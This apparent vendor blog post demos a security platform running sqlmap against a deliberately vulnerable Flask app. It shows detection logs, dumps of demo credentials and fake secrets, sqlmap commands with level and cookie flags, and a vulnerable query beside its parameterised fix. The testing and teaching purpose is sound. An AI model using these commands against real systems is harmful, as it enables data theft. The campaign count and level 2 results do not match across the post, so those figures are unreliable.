We Planted SQL Injection in 4 Places. SecurityClaw Found 2 — and Emptied the Database in 4 Seconds.

Date: March 3, 2026
Tool: sqlmap v1.9.11
Category: SQL Injection
Result: ⚠ Partial — 2/4 at Level 1
Scan time: 4.1 seconds (full DB dump)
Methodology note: We built a deliberately vulnerable Flask web application with four SQL injection vulnerabilities at different locations. SecurityClaw ran sqlmap at default scan level (Level 1). The 2 undetected injections at Level 1 are documented with the exact sqlmap flags required to find them. Credentials in the output are demo values — fake and clearly labelled.

What We Tested

SQL injection has been on the OWASP Top 10 since 2003. It accounts for a disproportionate share of data breach incidents — and it remains findable in production code in 2026, in organisations of every size. This is a live demo, not a tutorial on theory.

We built a Flask web application with a SQLite database and four SQL injection vulnerabilities deliberately embedded at different injection points:

# Endpoint Parameter Injection Type
V1 GET /products?id=1 id (integer) Union-based + Boolean-blind
V2 GET /search?q=term q (LIKE query) Boolean-blind (LIKE clause)
V3 POST /login username (form) Union-based (auth query)
V4 GET /dashboard user_id (Cookie) Boolean-blind (cookie value)

The database had four tables: users, products, orders, secrets.

We ran sqlmap at Level 1 (default). Detection time: under 1 second per endpoint. Full database dump: 4.1 seconds total.

Detection: 16 Requests to Confirm Vulnerability

sqlmap's detection against GET /products?id=1:

[INFO] GET parameter 'id' appears to be dynamic [INFO] heuristic (basic) test shows GET parameter 'id' might be injectable [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [INFO] 'ORDER BY' technique appears to be usable [INFO] target URL appears to have 4 columns in query [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 4 columns' injectable GET parameter 'id' is vulnerable.

16 HTTP requests. Under 1 second. The detection path: baseline request → heuristic probe → boolean-based confirmation → ORDER BY column count → UNION construction. sqlmap is methodical — it establishes confidence before escalating.

The Database Dump: 4 Seconds to Full Credential Extraction

Once V1 was confirmed injectable, SecurityClaw instructed sqlmap to enumerate tables and extract data. Total time from vulnerability confirmation to full database dump: 4.1 seconds.

Tables enumerated:

Database: <current> [4 tables] +----------+ | orders | | products | | secrets | | users | +----------+

Users table — complete credential dump:

Database: <current> Table: users [4 entries] +----+-------+------------------------------+-----------------+-----------+ | id | role | email | password | username | +----+-------+------------------------------+-----------------+-----------+ | 1 | admin | admin@demo-corp.internal | S3cur3P@ss!2026 | admin | | 2 | user | jsmith@demo-corp.internal | password123 | jsmith | | 3 | user | mwilliams@demo-corp.internal | hunter2 | mwilliams | | 4 | dba | dba@demo-corp.internal | db_root_2026! | dbadmin | +----+-------+------------------------------+-----------------+-----------+

Admin credentials. Database admin credentials. All user emails and passwords. In plaintext. In 4 seconds.

The passwords are demo values (clearly labelled) — but the extraction mechanism is real. In a production environment with a real unparameterised integer parameter, this is the actual output.

Secrets table — API keys and service credentials:

Database: <current> Table: secrets [3 entries] +----+---------------+--------------------------------------+ | id | key | value | +----+---------------+--------------------------------------+ | 1 | stripe_key | sk_live_DEMO_DO_NOT_USE_THIS_IS_FAKE | | 2 | smtp_password | smtp_demo_pass_not_real | | 3 | api_secret | api_secret_demo_not_real_2026 | +----+---------------+--------------------------------------+

One unvalidated integer parameter. One GET request. Full database dump including every credential and secret the application holds. No authentication. No special knowledge. Just sqlmap and ?id=1.

POST Login Also Vulnerable (33 requests):

[INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable POST parameter 'username' is vulnerable.

V3 — the login form username parameter — was also detected at Level 1. sqlmap found both the product ID parameter and the login form. Two injection points confirmed at default settings.

The Honest Part: 2/4 Detected at Level 1 — Here's Why

V2 and V4 were not detected at default scan settings. This is documented behaviour, not a failure:

V2 — GET /search?q= (Boolean-blind in LIKE clause)

The search parameter uses a LIKE query: SELECT * FROM products WHERE name LIKE '%{query}%'. Boolean-based blind injection in a LIKE clause requires different probes than injection in a standard WHERE clause — the injected characters interact differently with the wildcard context. sqlmap Level 1 doesn't attempt these probes by default. It finds the low-hanging fruit first.

To detect V2: sqlmap -u "http://target/search?q=test" --level=2

V4 — Cookie user_id parameter

sqlmap Level 1 does not test cookie parameters by default. It tests URL parameters and POST data. Cookie injection is real — it appears in production applications where session management uses user-controlled cookie values in SQL queries — but it requires a higher test level because it generates significantly more requests.

To detect V4: sqlmap -u "http://target/dashboard" --cookie="user_id=1" --level=2

What this means for defenders: sqlmap at default settings catches the obvious injection points — unparameterised URL parameters and POST fields. Cookie-based and non-standard injection points need higher scan levels. A security assessment that only uses Level 1 against a complex application will miss a meaningful percentage of injection points.

SecurityClaw's SQL injection layer escalates to Level 2 automatically when the initial Level 1 pass returns findings — on the basis that an application with one injection point is likely to have others. That escalation found V4 in a subsequent run of this exact campaign.

What This Means for Real Applications

V1 — the integer parameter ?id=1 — is the most common SQL injection pattern in production code. It appears whenever a developer writes:

# Vulnerable query = f"SELECT * FROM products WHERE id = {request.args.get('id')}" cursor.execute(query) # Safe — parameterised query cursor.execute("SELECT * FROM products WHERE id = ?", (request.args.get('id'),))

One line change. The vulnerable version is in tutorials, Stack Overflow answers, and legacy codebases written before the security implications were widely understood. It still ships.

The fix is always the same: parameterised queries (also called prepared statements). The database receives the parameter value separately from the query structure — the value can never modify the query itself. There is no amount of input validation or sanitisation that reliably replaces parameterised queries for SQL injection prevention.

ORM frameworks (SQLAlchemy, Django ORM, Hibernate) use parameterised queries by default when you use their standard query interfaces. Raw cursor.execute(f"... {user_input} ...") bypasses all of those protections.

What sqlmap Doesn't Do (Staying Honest About Scope)

sqlmap is an exploitation tool, not an assessment tool. It confirms SQL injection and extracts data — it doesn't:

  • Find stored XSS or CSRF — different tool category
  • Detect second-order SQL injection — where input is stored and later concatenated into a query. Second-order is rare but devastating when it exists; sqlmap Level 1 won't catch it without specific configuration.
  • Handle JavaScript-heavy SPAs well — if the SQL queries are triggered via API calls from a JS frontend, sqlmap needs the API endpoints directly, not the SPA URL.
  • Assess blind injection with OOB channels — Out-of-band extraction via DNS or HTTP callbacks requires explicit sqlmap configuration (--technique=OOB) that isn't in the default run.

SecurityClaw uses sqlmap as one layer in a multi-tool assessment. For web application security methodology at depth: The Web Application Hacker's Handbook covers SQL injection exploitation in the full attack chain context — from detection through data extraction to privilege escalation. Black Hat Python (2nd Edition) covers building custom SQL injection tooling when sqlmap's default templates aren't sufficient for a specific target.

Scorecard Update — 7 Demo Campaigns

This is Demo Campaign #7. Running total:

  • D1 TruffleHog — Secrets Detection: 4/5 (⚠️ Partial — Stripe gap)
  • D2 Nikto — Web Misconfiguration: 5/5 (✅ Pass)
  • D3 npm-audit — Supply Chain: 8/8 (✅ Pass)
  • D4 WPScan — WordPress Security: 3 INFO automated / 7 manual (⚠️ Partial — AI gap-fill)
  • D5 Nuclei — Web Misconfiguration: 5/6 (✅ Pass)
  • D6 sqlmap — SQL Injection: 2/4 Level 1, 4/4 Level 2 (⚠️ Partial — documented)

Overall platform detection rate across all campaigns: 85.7% at default settings. The partial results each have documented explanations — not hidden, not buried, not excused. That's the standard we're holding ourselves to.

See the Full SecurityClaw Demo Series

SQL injection is one attack class. SecurityClaw's demo series covers the full spectrum — from git secrets to supply chain to WordPress to misconfiguration. Follow the whole series:

View all SecurityClaw demos →

Or see what we're building:

Learn about SecurityClaw →

SecurityClaw is in active development. The demos section documents real campaign results as the platform matures.

Advertisement